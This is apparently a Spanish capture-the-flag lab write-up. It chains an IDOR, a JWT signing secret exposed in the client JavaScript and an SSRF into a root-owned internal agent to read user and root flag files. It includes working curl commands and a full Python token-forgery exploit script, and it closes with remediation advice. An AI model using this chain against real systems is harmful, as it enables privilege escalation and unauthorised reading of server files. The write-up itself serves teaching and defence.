Paper Trail · laboratorio 003 · media
El secreto estaba en el fichero que descargas.
Tres fallos encadenados que se ven cada semana en producción: un secreto de firma en el cliente, un token cuyo rol nadie comprueba contra la base y un servicio interno que se fía de cualquiera que llame desde 127.0.0.1.
En una línea. Descargas /static/app.js, lees el secreto con el que se firman los JWT, te forjas un token con role: admin, usas el exportador para leer la primera evidencia y el fetch del servidor para llegar al agente interno que corre como root.
1 · Reconocimiento
Clase del fallo: CVE-2026-18353 (Eclipse PIA, julio de 2026) — se valida una URL con un parser y se conecta con otro, con el token creyéndose su propio rol. Aquí el desajuste no es de parsers de URL, sino de confianza: el rol llega en un token que el servidor nunca contrasta con la base.
El panel escucha en http://<ip>:8080/. Se entra sin contraseña: POST /api/login con un nombre y devuelve un JWT.
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"user":"ana"}' http://<ip>:8080/api/login
{"token":"<jwt>","note":"bienvenido, ana"}
Y las notas no comprueban propiedad: cambiando el parámetro se leen las de cualquiera.
curl -s 'http://<ip>:8080/api/notes?user=luis'
{"user":"luis","notes":["el agente de copias escucha en 127.0.0.1:9090","cerrar sesión en el portátil"]}
Ese segundo mensaje es la pista de la última fase. Los IDOR así se detectan: no hay que romper nada, solo cambiar un número o un nombre.
2 · El secreto en el bundle
El cliente web se sirve desde el mismo servicio. El fichero que descarga tu navegador lleva dentro lo que nunca debería llevar: la clave con la que el servidor firma los tokens.
curl -s http://<ip>:8080/static/app.js | head -8
/* tokend · cliente de la web de notas */
const API = "/api";
const JWT_SECRET = "<el secreto que aparece aquí>"; <-- aquí
Con el secreto, cualquier token que firmes es válido. Y el servicio se cree el rol que venga dentro: no consulta la base para comprobar si ese usuario es administrador.
3 · Falsificar el token
import base64, hmac, hashlib, json, re, urllib.request
source = urllib.request.urlopen("http://<ip>:8080/static/app.js").read()
SECRET = re.search(rb'JWT_SECRET = "([^"]+)"', source).group(1)
b64 = lambda d: base64.urlsafe_b64encode(d).rstrip(b"=")
head = b64(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",",":")).encode())
body = b64(json.dumps({"user":"ana","role":"admin"}, separators=(",",":")).encode())
mac = b64(hmac.new(SECRET, head + b"." + body, hashlib.sha256).digest())
admin = (head + b"." + body + b"." + mac).decode()
Con ese token, el endpoint de exportación —que lee ficheros como el usuario del servicio— deja de estar cerrado:
curl -s -X POST http://<ip>:8080/api/export \
-H "Authorization: Bearer $ADMIN" -H 'Content-Type: application/json' \
-d '{"path":"/home/desk/flag.txt"}'
{"path":"/home/desk/flag.txt","content":"<flag de usuario>"}
4 · El agente interno
La segunda evidencia está en /root/root.txt, y el servicio corre como desk. No puede leerla… pero hay otro endpoint, /api/fetch, que hace la petición desde el servidor. Y el agente de copias escucha en 127.0.0.1:9090, como root, sin comprobar quién llama:
curl -s -X POST http://<ip>:8080/api/fetch \
-H "Authorization: Bearer $ADMIN" -H 'Content-Type: application/json' \
-d '{"url":"http://127.0.0.1:9090/read?path=/root/root.txt"}'
{"url":"...","body":"<flag de root>"}
El puerto 9090 no está abierto al exterior: compruébalo con nc -vz <ip> 9090. Solo existe dentro de la máquina, que es justo lo que hace útil el SSRF.
5 · Todo junto
import base64, hashlib, hmac, json, re, urllib.request
IP = "<ip>"
def call(path, body=None, token=None):
head = {"Content-Type": "application/json"}
if token: head["Authorization"] = "Bearer " + token
req = urllib.request.Request("http://%s:8080%s" % (IP, path),
data=json.dumps(body).encode() if body else None,
headers=head, method="POST" if body else "GET")
return json.loads(urllib.request.urlopen(req, timeout=10).read())
source = urllib.request.urlopen("http://%s:8080/static/app.js" % IP).read()
SECRET = re.search(rb'JWT_SECRET = "([^"]+)"', source).group(1)
b64 = lambda d: base64.urlsafe_b64encode(d).rstrip(b"=")
h = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(",", ":")).encode())
b = b64(json.dumps({"user": "ana", "role": "admin"}, separators=(",", ":")).encode())
m = b64(hmac.new(SECRET, h + b"." + b, hashlib.sha256).digest())
admin = (h + b"." + b + b"." + m).decode()
print(call("/api/export", {"path": "/home/desk/flag.txt"}, admin)["content"])
print(call("/api/fetch", {"url": "http://127.0.0.1:9090/read?path=/root/root.txt"}, admin)["body"])
6 · Cómo se arregla
- Nada de secretos en el cliente. La firma se hace en el servidor; lo que llega al navegador es público por definición. Si un secreto ha estado ahí, se rota.
- El rol se lee de la base, no del token. Firma válida no es autorización: comprueba el usuario contra el almacén en cada petición sensible.
- Comprueba propiedad en cada consulta.
WHERE id = ? AND owner = ?y noWHERE id = ?. El IDOR es el fallo más barato de arreglar y el más común. - El fetch del servidor, con lista blanca. Si el servicio necesita hablar con el agente, que sea por un nombre de tarea y no por URL libre; y el agente, con autenticación propia aunque esté en loopback.
- Loopback no es confianza. Cualquier componente de la máquina puede llegar a
127.0.0.1: el agente debe autenticar y correr con los mínimos permisos, no como root.